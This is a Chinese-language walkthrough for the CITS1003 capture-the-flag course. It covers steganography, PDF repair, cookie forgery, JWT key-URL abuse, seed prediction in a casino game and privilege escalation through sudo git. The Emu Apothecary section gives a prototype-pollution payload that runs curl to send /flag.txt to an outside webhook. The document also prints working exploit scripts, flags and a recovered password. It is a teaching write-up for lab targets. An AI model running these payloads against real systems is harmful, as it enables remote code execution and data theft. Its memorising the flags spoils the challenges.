CITS1003 CTF
Emu Hack #1 - Backdoored
根据题目描述,在端口61000
到61500
之间存在一个后门,使用nmap
工具进行端口扫描:
nmap 34.116.68.59 -p 61000-61550
发现在端口61337
存在TCP服务,按照题目要求使用nc
连接后发送EMU
拿到flag
nc 34.116.68.59 61337
EMU
Caffeinated Emus
根据提示说图片元数据存在有价值的信息,先右键属性查看没啥特别的:
在这个网站对图片分析一下,或者用exiftool
工具也可以:
找到GPS定位信息
31 deg 27' 59.19" S, 119 deg 29' 0.70" E
放到google
地图里查一下,找到小镇名字Marvel Loch
Flightless Data
根据提示是steghide
工具的使用
查看附件email.html
,里面有一张jpg
图片和一个密码,直接使用改工具进行文件提取:
steghide extract -sf 111.jpg
回车后输入密码:
theEMusWiLLRoOld3w0oRlD
查看secret.txt
拿到flag
Ruffled Feathers
题目要求是修复PDF,看提示说什么Length,网上查了一下length的计算方法:
还有正常PDF
的格式大致为:
查看附件内容
这里有个Current
很莫名其妙,估计是改这里,再算一下length长度:
正好是272个字节,确定是改这里没毛病了。用Notepad++
打开PDF进行修改,将第五行内容进行替换:
保存后重新打开文件看到flag图片:
==非预期解法:==
发现jpg
文件头:
直接将前面所有字节删掉,保存后将文件后缀修改为为jpg
打开拿到图片
Emu in the Shell
使用ssh
连接到服务器:
ssh -p 2022 ir-account@34.87.251.234
根据提示进入/lib/x86_64-linux-gnu/security/
目录查看文件修改时间:
ls -al
发现pam_unix.so
最近有修改记录,最可疑,将该文件下载到本地用IDA
分析:
看这个长得很像密码的样子,试试用该密码登录emu-haxor
su emu-haxor
Password: pUpPet_m4sT3r
成功登录,在home/emu-haxor/flag.txt
拿到flag
Feathered Forum - Part 1
附件给出页面源代码,想要访问/forum
路由需要对auth_required
函数进行绕过。对该函数源码进行分析:
def auth_required(f):
@wraps(f)
def decorated_function(*args, **kwargs):
emu_usernames = [account["username"] for account in EMU_USERS_ACCOUNTS]
# Just check that the "username" cookie matches an existing user
if not request.cookies.get('username', None) in emu_usernames:
return redirect(url_for('index'))
return f(*args, **kwargs)
return decorated_function
发现只要cookie
中的username
的值在EMU_USERS_ACCOUNTS
即可,这样我们就可以伪造一个cookie进行访问:
GET /forum
Cookie: username=BeakMaster
Emu Apothecary
拿到题目源码,已知使用了ejs
模板,在index.js
进行传参传递给polluteme.js
。对polluteme.js
中的关键代码进行分析:
for (const key in userInput) {
// Input is in the format of `{ingredientName}.{attribute}`
if (!key.includes(".")) continue
// Split the key name by the '.' character
const split = key.split('.')
// Set the attribute for the ingredient by the first two dots
// E.g. if the input is vinegar.type=mL it will set
// {"vinegar": {"type": "mL"}} in the baseIngredients variable
const ingredientName = split[0]
if (typeof baseIngredients[ingredientName] === "undefined") {
baseIngredients[ingredientName] = {}
}
const ingredientAttribute = split[1];
// Should be completely secure doing this???
// I don't think the hoomans can pollute anything by assigning attributes this way
// Yeah I am pretty sure this is not vulnerable to prototype pollution
// I am not merging anything right???
baseIngredients[ingredientName][ingredientAttribute] = userInput[key];
}
虽然代码里没有``merge或者
clone等函数,但
baseIngredients[ingredientName][ingredientAttribute] = userInput[key];进行了两个数组之间的赋值操作,效果等同于进行了
clone`,存在原型链污染。再根据题目描述的传参方式进行构造:
GET /?__proto__.escapeFunction=JSON.stringify; process.mainModule.require('child_process').exec('curl -F flag=@/flag.txt https://webhook.site/a120d04a-6263-4083-a587-33d4e08a2b6a')&__proto__.client=true
拿到flag.txt
:
下载获得flag
:
Advanced Emu Standard
AES-128
会将原文16位为一组进行加密,不满16也会当成16位去进行加密,所以我们可以将deactivate_special_procedure_123
分为两部分deactivate_speci
和al_procedure_123
,分别对他们进行加密,然后拼接即为答案:
deactivate_speci Encryptor: 3155433d53ed30c89aef89b2e7273924
al_procedure_123 Encryptor: 4127efafc809cc1209376d039e0001f1
Transmit encrypted command: 3155433d53ed30c89aef89b2e72739244127efafc809cc1209376d039e0001f1
Emu Cook Book
一条龙解密
Emu Casino
根据给出的py
脚本可知,随机数种子与session_id
和round
有关,而这两个的值都保存在cookie
的session字段内。flask
的session
为三段base64
编码的数据组成,利用工具查看发现,第一段数据解码后就包含我们想要的数据:
抓包看数据的发送过程:
在/submit-bet
路由下发送一个json
数据,我们可以在Set-Cookie
中获取下一次使用的cookie
,由此就可以写出自动化脚本:
from random import choice, seed
import base64
import json
import requests
def flip_coin(session_id,round):
seed(str(round) + "_" + session_id)
return choice(["tails", "heads"])
sess="eyJjcmVkaXRzIjoxMCwicm91bmQiOjEsInNlc3Npb25faWQiOiIyZGE0MDYwMzQyM2JmODViOGJjMDllNGY1YzI5ZGU1ZSJ9.Zi2q9A.3KuBz5eDx7_HylaUEBWxT5RS6nU"
while True:
url="http://34.87.251.234:3000/submit-bet"
cookie={"session":sess}
seq=cookie["session"].split(".")[0]
while len(seq)%4!=0:
seq+="="
jwt=json.loads(base64.urlsafe_b64decode(seq))
if jwt["credits"]>=10000:
a=requests.get("http://34.87.251.234:3000/",cookies=cookie)
print(a.text)
break
a=requests.post(url,cookies=cookie,json={"bet_amount":jwt['credits'],"bet_choice":flip_coin(jwt["session_id"],jwt['round'])})
print(a.text)
sess=a.headers['set-Cookie'].split(";")[0].replace("session=",'')
print(sess)
最后拿到flag:
EWT
拿到源码后进行分析,发现关键函数:
async function validateJwt(jwtToken) {
// We want to allow Emus to use both HS256 and RS256 signing algos
const decodedJwt = jwt.decode(jwtToken, {complete: true});
if ( !decodedJwt ) {
throw Error("where JWT at??")
}
const decodedHeader = decodedJwt.header, decodedBody = decodedJwt.payload;
const signingAlgo = decodedHeader.alg;
// We only allow HS256 or RS256 signing algos
if (!["HS256", "RS256"].includes(signingAlgo)) {
throw Error("invalid algorithm in JWT");
}
key = SECRET_KEY;
if (signingAlgo === "RS256") {
// Grab where the RS256 public key URL from the "iss" claim in the JWT body
// We currently haven't figured out how to sign our own RS256 JWTs yet...
const issuerUrl = decodedBody.iss;
// Make sure those hoomans aren't hacking with something like file://
const regExp = new RegExp("^https?://");
if (!regExp.test(issuerUrl)) {
throw Error("invalid URL in iss claim");
}
// Should be fine to download the public key
key = await downloadFromUrl(issuerUrl);
}
// Verify the JWT token
return jwt.verify(jwtToken, key);
}
要求加密算法必须为RS256
或者HS256
,而这里提供了若为RS256
算法,可从url远程下载public key
的方式,我们就可以根据该种方式生成token
拿到flag。在https://jwt.io/进行构造:
将public key
存储在服务器web目录下的 key
文件内,iss
的值为其地址,因为不太会用pastbin
的纯文本分享我就丢自己的服务器上了。将生成的token
拿去提交成功拿到flag
Emu Hack #2 - Git Gud
题目提示说在8000端口下有一个git仓库名为emu
,使用git clone
命令下载查看:
git clone http://34.116.68.59:8000/emu
在README.txt
中拿到flag
UWA{N()w_y0U_kN0W_40w_2_u53_g17!1!!}
Emu Hack #3 - SSH Tricks
题目说设置了.profile
文件限制了登录,我们利用scp
协议看一下.profile
文件的内容
scp -P 2022 emu001@34.116.68.59:.profile ./example.txt
#!/bin/bash
clear;
echo '⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢠';
echo '⠀⠀⠀⠄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣀⣀⣀⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀';
echo '⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣠⡤⠖⠚⠛⠉⠉⠉⠉⠉⠉⠉⠛⠓⠲⢤⣄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠘';
echo '⠀⠀⠀⠃⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣠⡴⠋⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⠙⢦⣄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀';
echo '⡄⠀⠀⡄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣠⠞⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⢳⡄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈';
echo '⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⡼⠃⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠘⢦⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠰';
echo '⠂⠀⠀⠃⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⡞⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠘⢧⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀';
echo '⡄⠀⠀⡄⠀⠀⠀⠀⠀⠀⠀⠀⠀⡼⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣠⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠘⣇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀';
echo '⠀⠀⠀⠁⠀⠀⠀⠀⠀⠀⠀⠀⢰⠇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠰⣿⣷⣿⠀⠀⢀⣤⡴⣦⣤⣄⠀⠀⣰⣿⣙⡆⠀⠀⠀⠀⢹⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀';
echo '⠂⠀⠀⠇⠀⠀⠀⠀⠀⠀⠀⠀⣾⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠙⠛⠋⠀⠀⣿⢳⡜⡰⢢⡘⡇⠀⠹⠿⠿⠃⠀⠀⠀⠀⢸⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀';
echo '⠀⠀⠀⡀⠀⠀⠀⠀⠀⠀⢀⡴⢣⠌⡑⠂⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠘⢷⣩⢛⣥⠿⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠐⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀';
echo '⠀⠀⠀⠁⠀⠀⠀⠀⠀⢠⡿⣐⢃⠂⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠙⠛⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⢹⡀⠀⠀⠀⠀⠀⠀⠀⢠';
echo '⠀⠀⠀⠀⠀⠀⠀⠀⢀⡏⠰⢌⠂⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⢷⠀⠀⠀⠀⠀⠀⠀⠀';
echo '⠀⠀⠀⠀⠀⠀⠀⠀⣾⠠⡙⢄⠃⠀⠀⠀⠐⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠘⡀⠀⢸⡆⠀⠀⠀⠀⠀⠀⠐';
echo '⠁⠀⠀⠀⠀⠀⠀⠀⡇⢠⠑⡌⢢⠁⡄⠠⣁⡆⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢳⠀⠈⣷⠀⠀⠀⠀⠀⠀⢀';
echo '⠄⠀⠀⠀⠀⠀⠀⢸⡇⢀⠊⠤⢁⠊⠄⡡⣸⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⢸⡀⠀⣿⠀⠀⠀⠀⠀⠀⠈';
echo '⠀⠀⠀⠀⠀⠀⠀⢸⡇⠀⡈⠐⡈⠐⠠⢠⡏⠀⠄⠠⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⠠⠐⢀⢸⡇⢰⡟⠀⠀⠀⠀⠀⠀⠰';
echo '⠁⠀⠀⠀⠀⠀⠀⠀⣧⠀⠀⠀⠀⠀⣠⡿⢀⠡⠈⠄⠂⡁⠐⡀⠠⠀⢀⠀⠀⠀⠀⠀⠀⠀⠀⢀⠀⠠⠀⠂⢈⠀⠄⠂⠄⢸⡇⣼⠁⠀⠀⠀⠀⠀⠀⢀';
echo '⠄⠀⠀⠀⠀⠀⠀⠀⠘⣷⢾⡾⠷⢺⡟⡀⠂⠄⡁⢂⠡⢀⠡⢀⠂⠌⢀⠐⢈⠀⠡⢀⠁⠂⡁⢀⠂⠁⠄⡁⠂⠌⠠⠁⠌⢸⣿⡇⠀⠀⠀⠀⠀⠀⠀⠀';
echo '⠀⠀⠀⠀⠀⠀⠀⠀⠀⠹⣾⡆⢠⡟⠠⢀⠁⢂⠐⡀⠂⠄⠂⠄⡈⠐⠠⠈⠄⡈⠐⠠⢈⠐⡀⠂⠌⡐⠠⢀⠡⠈⠄⠡⠈⣾⡾⠀⠀⠀⠀⠀⠀⠀⠀⠰';
echo '⠂⠀⠀⠂⠀⠀⠀⠀⠀⠀⠙⢲⡟⠀⡁⠂⠌⡀⠂⠄⠡⢈⠐⠠⢀⠡⢂⠁⠂⠄⡁⠂⠄⠂⠄⡁⠂⠄⡁⠂⠄⠡⠈⠄⣹⠏⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀';
echo '⠀⠀⠀⡀⠀⠀⠀⠀⠀⠀⠀⠀⢻⡄⠀⡁⠂⠄⠡⢈⠐⠠⢈⠐⡀⠂⠄⡈⠐⠠⢀⠡⢈⠐⠠⢀⠁⠂⠄⠡⠈⠄⡁⣰⠏⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈';
echo '⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠙⢦⡀⠡⢈⠐⠠⢈⠐⡀⠂⠄⡁⠂⠄⡁⠂⠄⠂⠄⡈⠐⠠⢈⠐⡈⠄⠁⢢⡼⠃⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠰';
echo '⠀⠀⠀⠆⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠙⠦⣤⡈⢐⣤⣦⣤⣡⣦⣄⠁⠂⠄⠡⢈⠐⠠⢀⣁⣦⣄⣦⡴⢤⡞⠋⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀';
echo '⡀⠀⠀⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⣿⣿⢣⢗⣸⡿⡴⣩⣿⣀⣈⣀⣤⣬⣤⣟⢯⣑⢮⡿⡜⣧⠇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈';
echo '⠁⠀⠀⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢹⡜⠷⢾⠿⢧⡷⠟⡉⢿⡟⢩⠙⠤⠉⢻⡷⠾⠟⠳⠞⠋⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢠';
echo '⠄⠀⠀⠆⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢿⡀⠀⡀⠄⠀⠄⢀⢹⡄⠀⠄⠂⠀⡿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀';
echo '⡀⠀⠀⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠘⣧⠀⠄⠐⠈⠀⠄⢸⠄⠂⠠⠈⣸⠃⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠘';
echo '⠁⠀⠀⠃⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠘⣇⠀⠂⠁⠈⡀⢸⠀⠄⠁⢀⡏⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢠';
echo '⠄⠀⠀⠆⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠘⢧⡀⠈⢀⠀⢸⡇⠀⠂⣼⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀';
echo '⠀⠀⠀⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⠳⣄⠀⠀⠠⣇⠀⢠⠏⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠘';
echo '⠀⠀⠀⠃⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠘⠷⣄⠀⣿⢦⠞⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀';
echo '⠀⠀⠀⡄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⠷⠟⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀';
echo '⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠠⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠐';
echo '';
echo 'wot are you doing here m8? this is for emus and birbs only!';
exit 0;
直接exit 0
退出了,再试试能不能直接下载/home/emu001
文件夹里面的文件:
scp -P 2022 emu001@34.116.68.59:/home/emu001/* ./ctf
成功下载到两个文件,flag在图片里:
UWA{how_did_u_get_past_that_login_shell?????}
还有一个办法,可以这样登录:
ssh -p 2022 -t emu001@34.116.68.59 /bin/bash
ssh -p 2022 emu001@34.116.68.59 "bash --noprofile --norc"
这样就不会执行.profile
文件了
Emu Hack #4 - Git Gud or GTFO Bin
利用上面两个方法实现绕过登录,看题目意思应该是git
提权
先用sudo -l
查看一下权限,确实可以通过git
实现切换成mr_x
用户
键入命令
sudo -u mr_x git -p help
输入密码后,在冒号后输入:
!/bin/bash
成功进入mr_x
用户界面,读取flag
转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。可以在下面评论区评论,也可以邮件至1004454362@qq.com